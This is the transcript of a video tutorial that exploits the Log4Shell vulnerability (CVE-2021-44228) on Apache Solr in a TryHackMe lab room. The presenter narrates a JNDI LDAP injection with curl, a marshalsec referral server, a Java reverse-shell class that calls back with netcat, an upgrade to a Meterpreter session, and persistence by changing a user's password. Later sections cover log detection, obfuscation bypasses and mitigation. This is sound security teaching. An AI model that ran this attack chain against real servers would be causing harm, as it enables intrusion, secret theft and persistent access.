Log4J - CVE 2021-44228 (Log4Shell) - Exploitation & Mitigation

[Music] hey guys hackersploit here back again with another video and in this video we're going to be taking a look at how to exploit the log 4j vulnerability more specifically we'll be taking a look at how to exploit the vulnerability on apache solar alright so in order to demonstrate the actual exploitation and patching process i'm going to be utilizing a room on trihak me that has been set up to actually cover uh most of the exploitation phase uh or really just the entire exploitation phase as well as uh pat detection uh mitigation and patching right so it's going to be really really cool and i'll be trying to explain every step as best as i can so that you guys get a better understanding of how you know of how to perform this particular attack or to exploit this specific vulnerability now um i just want to point out that i did have a session yesterday which was friday on ine live where i highlighted or demonstrated how to exploit this vulnerability on um apache tomcat uh you know on an apache tomcat instance that has been configured to use log4j so that's something that you need to take into consideration right um all right so i've already started the target system and you can see it gives you an introduction here and of course this vulnerability or this particular exploit is known as the log for shell exploit and is identifiable under the cve code 2021 44228 so i just want to make that clear so on december the 9th 2021 the world was made aware of new vulnerability identified as cve 2021 44228 affecting the java logging package log 4j uh the vulnerability under severity score of 10 the most critical designation and offers uh remote code trivial uh remote code execution on hosts engaging with software that utilizes log4j uh version and this attack has been dubbed log for shell so the log 4j version 2.1 6.0 has patched this this particular issue by disabling the jndi lookup plugin which i'll get to in a few minutes and you can actually take a look at the release notes there by clicking on this github repository link and again it gives you a basic description as to how this particular vulnerability works and if you want to learn more about the the actual attack surface for this particular vulnerability or this particular attack you can click on this github repository here and as you can see it'll give you a list of manufacturers vendors or applications so for example apache solar and it'll then give you a description and evidence that this does indeed work all right so you can actually confirm that that is the case so you can go through each of these um you know each of these vendors or manufacturers and take a look at uh you know as to whether or not they are vulnerable and of course this table here will tell you whether you know it's actually true or false and in this case you can see apache flink if we click on that here you can see there's no uh description of evidence that doesn't mean that it's not vulnerable it's just relative to this particular github repository and of course if you want to learn more about this vulnerability you can actually take a look at the following links and yeah so we can get started so i'm just going to deploy the target machine which i have done and uh yeah i think we're ready to go to the first task which is reconnaissance all right so the target virtual machine includes software that utilizes the vulnerable log4j package offering you a playground to explore the vulnerability after deploying your virtual machine you should find that the ip address accessible with the trackme vpn is provided to you to begin start with basic reconnaissance to understand what ports are open so we need to perform a port scan here so i'll just copy the target ip and i'll head over into my terminal and we can say nmap sv target ip hit enter and let's see what service is actually running on the target all right the nmap scan is complete and it looks like we did we didn't get any results pertinent to the port that we have apache solo running on so we can be a bit more specific and the port in this case is going to be 89.83 and i'll hit enter all right so the nmap scan is complete and as you can see it tells us on tcp we have apache solar running and we can access it via our web browser so i'm just going to copy that and it will open up a new tab here and we'll say 8983 like so and there we are so it takes us to the solar admin page all right so what is apache solar right because many of you may be asking yourself the question well apache solar is essentially a scalable search engine that's used to uh again to optimize you know search queries or a search index for large amounts of data right and is used by companies or by websites that you know require or utilize a search engine for a lot of content right and part of that functionality involves the use of course now i wouldn't go into you know the functionality of course in relation to apache solar but i'll actually talk a little bit about it once we get there um for now if we take a look at the try hackme task here you can see we can perform the nmap scan scan the machine to determine what ports are accessible there we are what service is running on port 8983 apache solar all right that's correct so we can move on to discovery right so the target machine is running apache solar at 8.11.0 one example of software that is known to include this vulnerability log4j package for the sake of showcasing this vulnerability the application runs on java 1.8.0 right which means that uh apache solar or the target server has been configured to utilize uh open jdk or java version eight all right so uh that means that when we'll be creating our java exploit we'll need to uh we'll actually need to compile that into a class and of course it should be compatible with java 8 so just keep that in mind and it also consequently means that you will require open jdk 8. alternatively you can also use the latest version which is open jdk 11 to perform the compilation but you may experience issues with that all right so we need to download a few task files here and uh before we do that it says explore the web interface and click around to get a feel for the application for more detail on apache solar please refer to the official website all right so this instance of of apache solar is provisioned with no data whatsoever in a flat vanilla an absolutely minimum installation yet at its core it is still vulnerable to this particular vulnerability so if we download the task files the task files are essentially provide you with the solar logs to get an understanding of um of what information is being logged right and that's primarily where this vulnerability uh comes into play so i'll just open up the downloads folder and i'm just gonna put this on my desktop under log 4j there we are and i'm just going to extract that here there we go so solar logs we have solar.log so if we open this up with a text editor you'll see this will give you a list of all the logs here and you can actually see the actual path that's being requested as well as the parameters so you can see for the path admin cores we can pass in parameters and i'll explain uh why that is right because of the the actual path admin causes an api endpoint that allows you to actually pass in parameters and this and all of this input is being logged so we can potentially utilize that api endpoint to inject the malicious jndi ldap payload so we'll go back into the room here you can see that it says take a close look at the first page visible when navigating to the uh to the actual address you should be able to see clear indicators that log 4j is in use within the application for logging activity what is the ds olr.log directory argument set to so it's essentially saying where does this particular version of apache solar store the log so if i zoom in a little bit here let's see whether we can find that particular argument so you can see dsdsolar.log.directory so it stores the logs under var solar logs so let's copy that there that should be fairly simple and submit all right download the attached files which we've already done one file has a significant number of info entries showing repeated requests to a specific url endpoint which file includes the include includes contains the this repeated entry so yeah so the the actual log file that we can see here has multiple info entries here and the name of the file is solar.log so let's try that there we go all right so the path or the url endpoint is indicated in this um in these repeated entries and of course we were able to identify that that is admin um course all right that's correct viewing these log entries what field name indicates some data entry point uh that you could use uh that you as a user could control just the field name all right so what field name indicates some data entry point uh so parameters that is correct so that's fairly simple and the proof of concept alright so note that the url endpoint that you have just uncovered need to be and needs to be prefaced with the solar prefix when viewing it from the web interface this means that you should visit the following um the following address right so let's uh let's actually open this up in a new tab here there we go so you can see this is an api endpoint which means we can specify parameters here so for example i can say cmd equals and then i can pass in the the actual malicious gndi lookup or jndilda payload so i could say uh you know pass it in here and then within the curly braces i can you know invoke the gndi lookup plugin and say ldap uh specify the the actual address of the ldap uh server so on and so forth right but before we get to that let's understand a bit more about you know how log 4j works so as you can see it says you also notice that the parameters seem to be included in the log file at this point you may already be seeing uh be beginning to see the attack vector so if we take a look at the log files you can see that the parameters are again added to the log file which means uh that uh are you know really the crux of this vulnerability revolves around the fact that logs being entered into the log4j log file uh will get executed or specifically some logs um will get executed and um if we take a look at the documentation here you can see it actually highlights that so the log4j package adds extra logic to logs by parsing entries ultimately to enrich the data but maybe but may additionally take actions and then uh and even evaluate code based off the entry data so the gist of this vulnerability uh that that's essentially the gist of the vulnerability other syntax may be uh maybe in fact executed just as it's being entered into log files now with log4j you have the ability to perform lookups and the lookups can be performed with the following syntax where you have the prefix and the name and the name is what is going to get executed right and we do know that log4j actually logs these uh these specific uh you know parameters so uh it'll tell us right away you may already know the payload to abuse this log4j vulnerability the syntax looks like the following so this is the malicious jndi ldap payload right so uh you can see we invoke the gndi plugin and then we say we want to connect to an ldap server and then we specify the ip address of that server all right so the syntax indicates that log4j will invoke functionality from jndi or the java naming and directory interface now let me explain something here that a lot of people don't really understand right and that of course is gndi injection so jndi essentially provides java based applications with an api endpoint that can be used to interact with services like ldap or you know any other directory services uh in order to access external resources so uh you know with log4j we can utilize the gndi lookup plugin in conjunction with ldap to essentially obtain an external resource that's being stored on you know whatever server right and uh it's also important to know that apache log 4j versions 2.0 uh beta 9 to 2.1 5.0 all come pre-packaged with the jndi lookup plug-in so all of those all of those versions really are vulnerable in you know to a certain extent now an attacker could potentially use the jndi plug-in in conjunction with a malicious ldap referral server that's been controlled by us to instantiate a malicious java class and uh you know an ldap referral server essentially is used to provide a reference to an alternate location where an ldap request may be processed so this will make sense when we once we actually get started with the actual exploit right so you can see that it says notice the ldap schema this indicates that the target will reach out to an endpoint and attack a control location in the case of this attack via the ldap protocol for the sake of brevity will not cover uh all of the ins and outs of uh ldap here all right so you can see that we there's anything important here the next question is where could we enter this syntax right or where can we inject this payload all right so this malicious payload can essentially be injected into any application input that's being logged so we're talking about login forms uh you know password forms or you know just any data entry point like an api endpoint uh http address as specified right over here right so in the case of apache solar uh there is an api endpoint that's being logged under solar admin core so just admin cores right and now that you have a better understanding of how log4j works you should understand that this is where you supply and in your inject syntax you can simply supply http get variables or parameters which will then be processed and passed by log4j all it all the all it takes really is the single line of text and that what that is what makes this vulnerability extremely easy to exploit so uh this is the proof of concept right so in order to verify that log4j is indeed running on the target even though we already know that it is we need to test and see whether it will actually connect to our ldap referral server uh but will not set up the referral server just yet what we want to do is set up a netcat listener that will receive the ldap request so i'll say netcat nvlp1234 and we'll listen on that particular port i'll then open up a new tab here and what we can do actually let's just open up a new i'll just split that terminal there and let me get my ip address here ip ifconfig and we're looking for the tunnel zero interface so i'll just copy that so what we can do now is make a curl request to the actual target web server and then pass in or inject the malicious payload so we're looking for um dollar admin calls we'll just copy that syntax there because we already have it set up for us so there we are we're connecting to port 8983 solar admin core cmd jndi ldap and then we specify our ip address here right because we're going to be connecting to our netcat listener and we say we want to connect to port one two three four right and we then hit enter and you can see that we get a connection on our netcat listener which means that indeed we were able to to actually uh you know get log4j to connect to the ldap uh server and in this case because we haven't set up an ldap referral server yet we only set up a netcat listener it will connect to the netcatalyst and of course we don't get we don't get any uh you know useful uh you know output primarily because this is an ldap request so i'll just terminate that there and if we go back into the try hack me page here we can see we've already done that we've set up the netcat listener and we also again run the following request with curl right so we'll hit complete and you can see a verify you've received the connection by seeing the following message which we have complete all right so let's move on to exploitation okay so proof of concept is done exploitation all right so at this point you verify that the target is in fact vulnerable by seeing the connection caught in your netcat listener however it made an ldap request so your netcat listener may uh may have seen was non-printable characters uh strange-looking bytes we can now build upon this foundation to respond with real with a real ldap handler we will utilize an open source and public utility to stage an ldap referral server this will be used to essentially redirect the initial request of the victim to another location where you can host a secondary payload that will ultimately run the code on the target so we need to set up the actual ldap referral server we can then inject the malicious payload uh you know into any endpoint or any input application input right and once we do that it will reach out to the ldap referral server the ldap referral server will springboard the request to a secondary address which is going to be a web server that we will set up to host the malicious java exploit and it's going to be a class file the victim retrieves and executes the code present in the the address that we specify and that as it says here that means we'll need an http server which could simply host any one of the following options right so we can use any one of the following options so it's fairly simple to understand there the first order of business however is obtaining the ldap referral server we will use mark the marshall sec utility so let's open that up in a new tab here and this particular utility allows you to set up or to stage a an ldap referral server for the purpose of you know jndi lookups with log4j so all you need to do to utilize this or to get this started uh or you know to actually utilize this particular utility is clone the repository which i already have done and you can see ultimately this uh this needs to run java reviewing the readme for this utility suggest using java 8. you may or may not have success using a different version but to play by the rules you'll need to match the same version of java used on the target virtual machine so just keep that in mind right so i've already completed that i already have java 8 installed you can also just expand this particular drop down here to go through the process of installing java 8 or openjdk8 which is highlighted here and yeah so i've already done that so i can skip through that and then next you'll need to retrieve the marshall sec utility reference previously which we've done steps to download marshallsec locally we've completed that and then we must build marshallsec with the java builder maven if you do not yet have maven on the system you can install it through your package manager so sudo apt installed maven you then need to run the following command maven clean package dskip tests right so i've already done that and you can see with the marshall sec utility built we can start an ldap referral server to direct connections to our secondary http server which we will prepare right so in order to do this what we are going to do is i am just going to open up my terminal here and let me just close this up because we don't need it right now you can see that under the following directory i have the marshall sec directory and under that i have the target directory where i have compiled it uh right over here so you can see marshall sec 0.03 snapshot all jar right so i already have that compiled which is great and i can just take a step back and what we need to do now is say sudo cp to execute the java file sudo sorry sudo java cp and then we specify on the target we want marshall sec um 0.0.3 snapshot all dot jar and we then need to specify the actual ldap server domain which is marshallsec.jndi.ldap referral server so i'll just copy that there make sure that this is correctly set up you can or you can always customize the actual domain by modifying the source code and then compiling it and then we need to specify the address of the web server that will be hosting the malicious java exploit class which in this case is going to be hosted on our ip address so ifconfig me make sure that i'm getting that correct here because i don't want to repeat this process again there we are and we'll host our web server on port 8080 right and the the actual name of the resource that we're looking for or that we want to download is just going to be called exploit and it'll automatically down download or instantiate the class file so we don't need to specify the extension there and um if we take a look at the syntax here it looks like we have everything ready to go so i'll just hit enter paste in my password and you can see it tells us listening on our ip address on port 1389. so the ldap referral server is set up which is great we can now set up our java exploit right so i'll just go into a new terminal and i already have created a simple java exploit payload so if i cut the contents of exploit.java you can see that it's essentially a reverse shell exploit whereby it executes a netcat and then connects back to our listener so we need to modify the actual attacker ip so i'm going to do that right now so vim exploit dot java and um again hopefully i've not forgotten my own ip address although i think i have done i probably need to save it somewhere that i can access really quickly we're looking for tunnel 0 and we'll leave that open so i'm just going to replace this here so the attack ip and of course you can change the port you want to connect back to in this case i will just paste that in there we're connecting back to 9999 which is fine write in quit and then we need to compile this java this java code into a java class which can be done using the java compile option and then we say you know the actual source um before we do that let's specify the exploit.java file the source is written in java 8 or is compatible with openjdk8 and then the target is going to be executed on openjdk8 you can change this based on what version of java is running on the target in this case i'll hit enter if i list out the contents now we have the exploit.class file which is what is going to be executed on the target system now we need to host this so again we need to set up the python uh we need to set up the web server that will do this and we'll utilize the python module simple http server and remember we're hosting this on port 8080 as we specified in the arguments when setting up the actual ldap referral server so 8080 make sure that that is correct there i'll hit enter and it's going to host these files on port 8080 we now need to set up our netcat listener on port 9999 so netcat nvlp9999 that's going to listen for the reverse shell once it's executed and then we can open up a new tab here and actually make the curl request again so let me see if i have the curl request at hand here which i believe i do there we are so curl solar admin calls we inject the actual um malicious payload so jndi ldap we specify uh the address you know which is our ip address and then we need to change this to port 1389 that is the port where the ldap referral server is currently running and this we want to change to exploit and we can essentially hit enter and looks like we have a syntax error here so curl 1389 uh let me just make sure that the syntax is correct there all right so it looks like the syntax was correct and we get a connection from the target so on our netcat listener we get the connection so if i type in ls you can see we've successfully been able to get access to the target system and then of course i can import or i can spawn a bash session by saying uh python c import pty pty dot spawn and we can then spawn you know pin bash so bin bash and we can then hit enter and we should get a bash session there we are so we have currently gained access to the target server and that's really how simple it is in regards to exploiting a target that is running uh you know apache log 4j so we can then perform our basic enumeration like you know who am i um we are currently logged in as the user solar cat etc release you can see that our current uh this will display display our current distribution version or distribution release version so this is running on ubuntu 18.04.3 lts let's take a look at the try hack me documentation yes we've done that we've set up no there we are let's take a look at this here so what's the output or just the ip that is for the ldap referral server so the output we got was listening on the following address 1389 so let's paste that in there all right that's correct we set up the exploit code we also compiled it we set up the web server we set up the netcat listener we made the curl request and um there we are so we've essentially established our initial foothold on the target system right and it says at this point a threat actor can realistically do whatever they would like to do with the victim whether it be privilege escalation exfiltration install persistence perform lateral movement or any or any other post exploitation so potentially dropping dropping cryptocurrency miners which we have seen remote access trojans stages beacons implants etc right so uh please hug and incident responders that you know i definitely did over the weekend and then yeah so after receiving a reversal feel free to experiment with any other commands you could run with your exploit or java payload um so we can get interpreter session fairly easily and the way we can do that is let me just go back in here and on our netcat listener uh well actually before we do that you can actually see on the ldap referral server once it gets the request it'll actually redirect it to our web server and it's uh correctly identifies the file in the extension exploit.class and on our web server you can see that we get a get request and that has the status code 200 which means it was successfully downloaded and then it is executed on the target which gave us the reverse shell so let me just terminate this reverse shell and what i'm going to do is i'm going to set up a metasploit or msf console resource script so vim handler.rc and within this i'm going to say use multi-handler and we're going to set the lhost to our ip address so again um ifconfig there we go i should have kept that on hand so lhost and then set the l port to port 9999 so this has to reflect the port that you set when setting up the malicious java exploit and then we hit run and this will essentially just automate our entire process here so let me just get rid of that line there so write in quit and then i can say msf console resource script handler.rc uh so handler.rc hit enter that's going to set up the reverse tcp handler for us and we can then use the curl or make a request with curl to get the command shell session which we can then upgrade to a meterpreter session so we'll give this a few seconds to start up metasploit or the metasploit framework console there we are all right as we can see it sets up the reverse tcp handler and of course the payload the default payload is always going to be generic shell reverse tcp and then we can make our request with curl so i can say curl hit enter and right over here we should get a connection i'm just going to wait for it all right so as you can see we get command shell session 1 open so i can say ls the same thing so i'll put this in the background and if i list out my sessions you can see we have session one and that's a standard command shell session so i'll say sessions upgrade one that's going to give us a meterpreter session the way it starts the it's actually starts the reverse tcp handler on a different port which is great it sends the stage and let's see whether we get a second interpreter session there we are interpreter session two opened it stops the exploit multi handler and if we list out our sessions we have meterpreter now so sessions2 and there we go so sysinfo and you can see it's running ubuntu 18.04 and the kernel is 4.15.0 so on and so forth right so fairly simple uh let's take a look at the next tasks here so um these are really pertinent to persistence so now that you've gained a virtual connection on the victim machine you can continue taking any action you like to better understand this vulnerability let's grant ourselves better access right analyze the affected logs and even mitigate the vulnerability you may have noticed that you earlier nmap scan within the nmap scan we noticed that port 22 was open we did not know any other usernames or passwords at this point so trying against that protocol would be useless but now you have code execution as a user you could potentially add private keys or change passwords so who am i we know that we are solar that we already did right and it says if you'd like to stabilize your shell for faster ability in typing commands we've already set up a meterpreter session now that you have a stable shell you can safely use the left and right arrow keys to move around your input we pretty much have that already to a certain degree we can check the super user permissions so so we can get a bash session so i'm just going to say shell and we can then use python here so give that a couple of seconds there we are type in ls looks like it's working so python and then we can say python c and then we say import pty pty dot spawn and we can say we want a bash session so bin bash hit enter all right so now that that is done what we can do is let me navigate to the to my home directory we can essentially say sudo l to list out you know the actual permissions and you can see user solar may run the following commands on solar so we can pretty much uh run all sudo commands without providing a password and if we list out or take a look at this here we can see sudo l check your super user permissions we've done that if you'd like to grant yourself persistence and access to into this machine via ssh momentarily become root and change the password for the solar user to one of your choosing this way you can ssh in as needed so we can essentially change the password of the user solar so i can say sudo password solar right and we can say password one two three password one two three right and that is going to be updated successfully i'll just copy the target ip now and then we can log in and you know via ssh i can say ssh solar at the ip here we'll say yes we want to accept and we'll say password one two three and we should be able to log in via ssh and have successfully established persistence so there we are we currently have accesses the user solo and we can pretty much run all pseudo commands without providing a password which is great and then we can hit complete there and that is done all right so for detection right so i had a 90 live session with jason alvarado on friday where he essentially covered the various techniques you can use to detect this but this you know this particular exploit and just going through the documentation you can see you can see it says unfortunately finding applications vulnerable to this vulnerability or the log for shell attack is hard detecting exploitation might even be harder considering the unlimited amount of potential bypasses with that said the information security community has been an incredible or has seen an incredible outpouring of support and effort you know to develop tooling scripts and encode to better constrain this threat while this room won't showcase every technique in detail you can again find an enormous amount of resources online so you can take a look at how to create yara rules you can take a look at the various ajar and class hashes based on the malicious java classes that are being used and of course these can be very helpful in identifying signatures or creating signatures right so to explore uh our own logs use your ssh connection or reverse shell to move into a directory where this solar logs are stored you already know what the path is we know that part so i'll navigate into that there review the log file that you know is affected by the log 4j vulnerability so we can actually do that so if we say cat var solar logs and that is solar dot log i'll be able to show you that this uh our actual uh injection or the actual payload that we injected in order to gain access was logged right so if i cut out the contents there i will give this let's see if i can identify it here where there we are so you can see right over here that the path admin calls that's the api endpoint and then the parameters specified uh you can see that we have the jndi ldap payload and it connected you know to the ldap referral server and you know that's essentially been logged so that's one way of detecting this is by taking a look at the logs so notice that your jndi syntax attack syntax included in the log entries yes so that is done okay so bypasses um so i'll be making another video covering the various bypasses of you know bypass techniques you can be you can perform in the form of obfuscation so the gndi payload that we've just showcased is the standard and typical syntax for performing this attack if your penetration test or red team this syntax might be caught by a web application firewall or easily detected as companies are already doing or adding rules to detect this particular you know this particular payload in requests if you're a blue team or incident responder you should be actively hunting for and detecting that syntax because this attack leverages log4j the payload can ultimately access all of the same expansion substitution and templating tricks that the package makes available this means that a threat actor could use any sort of tricks to hide mask or obfuscate the payload and these are the various resources online as you know as highlighted here that you know these are essentially the various bypass techniques that you can use and of course they utilize uh you know templating substitution obfuscation etc so again for example you can see here that in this case uh what's happening is uh that for let me just use this example here you can see that the the actual characters so jndi is being split and they're using various um they're using various gndi parameters to specify you know lowercase j ndi lowercase l lower d p etc so these are you know your your typical obfuscation techniques right and then it says note the use of the rmi protocol which again i'm aware of you don't need to own you you don't really need to use ldap or an ldap referral server you can also utilize rmi uh to load an external uh you know resource um so this is also another valid technique that can be used with the marshall sec utility so we'll actually be taking a look at how to do that right additionally within the log4j engine you can expand arbitrary and environment variables if this wasn't already bad enough consider the damage that could be done with remote code execution but a simple ldap connection and exfiltration of an aws secret key right so you can essentially extract environment variables or the values of environment variables uh and important ones like you know an aws secret key which is super super super bad all right so i'll just hit complete there as for mitigation we can actually go through the process of mitigating this so now that you've acted as the adversary for a little bit please take off your haka hat and let's mitigate the vulnerability on this vulnerable machine review the mitigation techniques suggested on apache solar's website so for every application that's affected by this vulnerability they're going to have uh you know instructions as to how you can patch that vulnerability and most of them have have either disabled the end the jndi lookup plugin or in this case in the in the case of of apache solar uh what they've done is they've uh recommended uh essentially enabling the following options so solar options uh for d log 4j so for log4j of the format message no lookups is set to true so we can perform external lookups you know with jndi so that's really the way we can essentially patch this so we can locate the solar.n.s.h file which uh again what am i doing there there so we can essentially locate it and we need to have root access to modify it so i'm just going to copy this here and what is the full path of the solo.n.s.h file so we actually need to find it i'm just going to go back into my meterpreter session here and we can use the find utility sorry we can use the search utility and say the file is solar dot in sh right and there we are so that's the actual path there so we'll copy that and paste this in here that's where we can find it we then need to modify it and we then need to add the following option so again you require root access and we can use a text editor like vim so i'm just going to use my ssh session here so i'll save bim and we'll paste in the actual path to that file there and we need to add that configuration option or this particular syntax to the end of the file so we'll head over to the bottom here and we'll just insert that or paste that in there and we can write and quit we then need to restart the apache solar service so we'll just hit complete there so sudo etsy init so that's the init system there and solar restart so fairly simple we're going to restart it and then we'll try and run the exploit again just to show you that it doesn't work or the lookup or the gndi lookup will be disabled which means we will not be able to connect to the ldap referral server so we'll give this a couple of seconds there we are it's restarted it so we'll hit complete there so we'll just go through the process of replicating the attack again so what i'll do is let me see we have the ldap referral server there which is currently active we then have the web server that's hosting the exploit.class file and we can just hit exit right and um what we can do sessions this is currently on port 999 yeah let's just kill all the sessions here just to show you that this will not work so i'll say we are currently using the multi-handler so i'll say run right and that's going to start the reverse tcp handler and let me verify that apache solar is currently running so i'll just open this up in a new tab there and that is 89 83 um is that the correct looks like it's working all right so i just restarted the solar service again for some reason it wasn't working then um so we have six we've been able to mitigate it by adding the configuration so if we go back to our listener here and you know we can make a new curl request so i'll open up a new tab here and we'll just say curl and yeah that's essentially everything is specified correctly there jndi ldap we have the ldap referral server port and i hit enter and if we take a look at the actual handler or rather the actual ldap referral server you can see we don't get an ldap request which means it'll not actually forward or redirect it to our web server that's hosting the exploit.class file so we've been able to successfully mitigate this vulnerability so that was fairly simple right so that is done and that is also done and yeah so that's mitigated fantastic so uh patching so let's take a look at patching at the time of creating this exercise apache solar 8.11.1 has not yet been released with a formal patch uh for cve or the log 4 shell attack alongside many other software providers the industry is frantically scrambling to patch the software and push it downstream to users as quickly as they can all right so please be understanding of this frenzy there's so many potential places that this log4j vulnerability could be present we may never we may never see the end of this vulnerability for a long time uh the onus is on you on me on each and every one of us to raise awareness of this incident and hold the community accountable for actively responding when the time comes roll out the patches that have been made available and continue to hunt for instances of this vulnerability all right so again that's something that i also recommend you know for any java based applications regardless of whether they're web app web applications or you know just standalone app java based applications like minecraft uh try and see whether they're utilizing the log4j package and try and see whether they are vulnerable submit a disclosure report so that the company can get it patched as i said we're still learning more about this vulnerability and how many systems are affected by it so it's going to take a while as i said make sure that you perform your research as i said i'll also be covering uh or making videos on other you know products that are affected by this vulnerability and how they can be exploited and you know the various ways they can be patched or mitigated because that's very important and i don't want this you know just to be focused on exploitation all right so i understand the implications of this and i will patch early often and always indeed we will and that is pretty much it for this room so yeah that is essentially the process of exploiting the log 4j vulnerability also known as log4shell or identified as cve 2021 44228 i would love to hear what you guys think any of your personal experiences with this particular vulnerability any patching tips anything that you've been able to discover if you want to reach out to me personally or you know bring on or actually continue the discussion you can join our discord server link is in the description or you can contact me via twitter as i do respond primarily through that platform that being said thank you very much for watching please like this video and share it to spread awareness and i will be seeing you in the next video [Music] a huge thank you to all of our patreons uh your support is greatly appreciated and this is a formal thank you so thank you shamir douglas ryan carr sandor michael busby sits up doozy defean barry dustin empress and michael hubbard your support is greatly appreciated and you keep us making even more high quality content for you guys so thank you

Channel: HackerSploit

Views: 4,945

Keywords: hackersploit, hacker exploit, hacking, kali linux, log4j, log4j vulnerability, log4j exploit, log4j tutorial in java, log4j bug, log4shell, log 4 shell, log 4 shell minecraft, log 4 shell vulnerability, log 4 shell bug, log 4 shell patch, log 4 shell exploit, cve 2021 log4j, log4j vulnerability explained, cybersecurity, cyber security, security exploit, infosec, information security, malware, reverse engineering, malware analysis, zero day, exploit, intezer, cloud run time

Id: lJeAgQQaDEw

Length: 45min 40sec (2740 seconds)

Published: Sat Dec 18 2021